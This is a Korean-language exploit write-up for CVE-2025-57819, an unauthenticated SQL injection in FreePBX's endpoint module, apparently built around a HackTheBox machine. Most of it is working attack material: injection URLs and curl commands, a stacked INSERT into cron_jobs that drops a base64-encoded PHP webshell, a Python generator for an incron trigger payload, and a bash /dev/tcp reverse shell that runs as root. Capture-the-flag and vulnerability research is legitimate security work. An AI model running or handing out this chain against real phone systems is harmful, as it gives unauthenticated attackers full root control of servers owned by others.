
FreePBX에서 인증되지 않은 SQL 삽입을 통한 원격 코드 실행 — CVE-2025-57819
심각도: 치명적
유형: 인증되지 않은 SQL 인젝션 → 원격 코드 실행
영향 받는 소프트웨어: FreePBX (엔드포인트 모듈)
테스트 환경: CentOS 7의 FreePBX, Apache 2.4, PHP 7.4, MariaDB 5.5
FreePBX endpoint 모듈의 /admin/ajax.php에 있는 brand 매개변수를 통해 인증되지 않은 SQL 인젝션 취약점이 존재합니다. 이 취약점을 악용하는 데 자격 증명이 필요하지 않습니다.
FreePBX의 내부 크론 작업 메커니즘과 incron/fwconsole 훅 시스템과 결합하면, 완전한 인증되지 않은 루트 셸로 이어집니다.
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
예시:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
출력:
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
엔드포인트 모듈 AJAX 핸들러의 brand 매개변수가 위생 처리 없이 SQL 쿼리에 직접 전달됩니다:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
이것은 XPATH 오류 내부에 데이터베이스 이름을 반환합니다 — 고전적인 오류 기반 SQLi 기법입니다. 스택 쿼리도 지원되므로 INSERT, UPDATE, DELETE 작업이 가능합니다.
스택 쿼리를 사용하여 FreePBX의 cron_jobs 테이블에 크론 작업이 삽입됩니다:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
FreePBX의 크론 실행기가 매 분마다 이 작업을 실행하여 PHP 웹셸을 웹 루트에 넣습니다.
incrond는 /var/spool/asterisk/incron/ ( asterisk 사용자가 쓰기 가능)을 감시합니다. 해당 디렉터리에 파일이 생성되면 /usr/bin/sysadmin_manager가 루트로 트리거됩니다.
파일명 형식 api.fwconsole-commands.<payload>는 다음 위치에 있는 기존 GPG 서명 훅에 매핑됩니다:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
훅은 파일명을 base64(zlib(json([cmd, txn_id]))) 페이로드로 디코딩하고 다음을 실행합니다:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
help;를 접두사로 사용하면 fwconsole에서 유효한 명령어로 인식되며, ;는 추가 셸 명령어를 연결합니다:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
이것은 루트로 실행되어 완전한 루트 셸을 제공합니다.
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| 날짜 | 이벤트 |
|---|---|
| 2025 | 취약점 발견 및 보고됨 |
| 2025-11-30 | HackTheBox에 박스 배포됨 |
| 2025 | CVE-2025-57819 할당됨 |
이 도구는 교육 목적 및 승인된 보안 테스트 전용입니다. 명시적인 허가 없이 시스템에 사용하지 마십시오. 저자는 어떠한 오용에 대해서도 책임지지 않습니다.
| 발견 사항 | 세부 정보 |
|---|
| 데이터베이스 | asterisk (MariaDB 5.5.65) |
| DB 사용자 | freepbxuser@localhost |
| 웹 사용자 | asterisk (uid=999) |
| 크론 테이블 | SQLi를 통해 쓰기 가능 |
| Incron 디렉터리 | /var/spool/asterisk/incron/ (asterisk가 쓰기 가능) |
| 권한 상승 | fwconsole 훅이 incrond를 통해 루트로 실행됨 |
| 루트 방법 | Incron 트리거 → 서명된 fwconsole 훅 → 명령어 인젝션 |